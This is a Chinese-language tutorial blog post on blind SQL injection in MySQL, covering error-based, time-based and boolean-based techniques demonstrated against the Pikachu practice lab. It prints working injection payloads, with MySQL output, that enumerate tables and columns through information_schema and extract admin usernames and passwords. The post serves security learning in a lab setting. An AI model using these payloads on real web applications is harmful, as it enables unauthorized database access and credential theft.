SQL注入-盲注

SQL注入-盲注

​ 当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

由于没有回显结果,需要利用一些方法进行判断或者尝试,这个过程就是盲注。

基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
基于时间的sQL盲注-延时判断 if ,sleep 							  // 最慢
基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue  		// 最快,最好,没有就采用上面

参考地址:https://www.jianshu.com/p/bc35f8dd4f7c https://developer.aliyun.com/article/692723

报错回显

updatexml函数

返回替换的XML片段

UpdateXML(XML_document,XPath_string ,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

通过这个函数,sql会报错

mysql> select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'

得到相应的信息 – 这里的0x7e是 ASCII 码: ~ ,用来识别到中间我们需要的信息

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

extractvalue函数

使用XPath表示法从XML字符串中提取值

ExtractValue(xml_frag, xpath_expr)

一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

在靶场中应用: pikachu

搭建参考:https://blog.csdn.net/m0_52149675/article/details/123777218?spm=1001.2014.3001.5502

insert

在这里插入图片描述

这里的页面只会显示注册成功或者失败,不会有相应的有用信息

抓取数据包:在username后面加入:

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

在这里插入图片描述

在这里插入图片描述

update和insert差不多

delete
payload: 68 or updatexml (1,concat(0x7e,datebase()),0)
且在BurpSuite中Ctrl+U 对payload进行url编码

在这里插入图片描述

看到数据库为pikachu

时间盲注

if(判断条件,turn输出,false输出)

sleep(1)

mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)

在如果表member在数据库pikachu中则睡5秒(延时),否则不延时

但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱

参考:
like 'ros'									#判断ro或ro...是否成立
regexp '^xiaodi [a-z]'						 #匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5)								 	#sQL语句延时执行s秒
mid (a, b, c)								#从位置b开始,截取a字符串的c位
substr( a,b, c)								#从b位置开始,截取字符串a的c长度
left (database(),1), database() 			 #left(a,b)从左侧截取a的前b位
length(database ())=8						#判断数据库database ()名的长度
ord=ascii ascii(x)=97 						#判断x的ascii码是否等于97
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)

在如果表users在数据库名字开头是‘p’则睡5秒(延时),否则不延时

mysql> select * from users where id=1 and sleep(if(mid(database(),1,2)='pi',5,0));
Empty set (5.00 sec)

mysql> select * from users where id=1 and sleep(if(mid(database(),1,2)='p4',5,0));
Empty set (0.00 sec)

布尔盲注

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户

pikachu盲注

asdf' and 1=1#

在这里插入图片描述

asdf' and 1=2#

在这里插入图片描述

两次结合判断这个适合bool盲注

asdf' and length(database ())=7#

在这里插入图片描述

可以知道这个数据库的长度为7

asdf' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

可以知道这个数据库名字的第一个字符为p asclii§=112

猜解表的总数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数

猜解第一个表名的长度

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)

猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1))>100 --+

猜解第一个字段的长度

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

猜解第一个字段名

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

猜解直接猜测字段名

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

猜解内容长度

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+

猜解内容

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    ASCII码猜解

也可以直接猜测内容

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

crabin_lpb

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值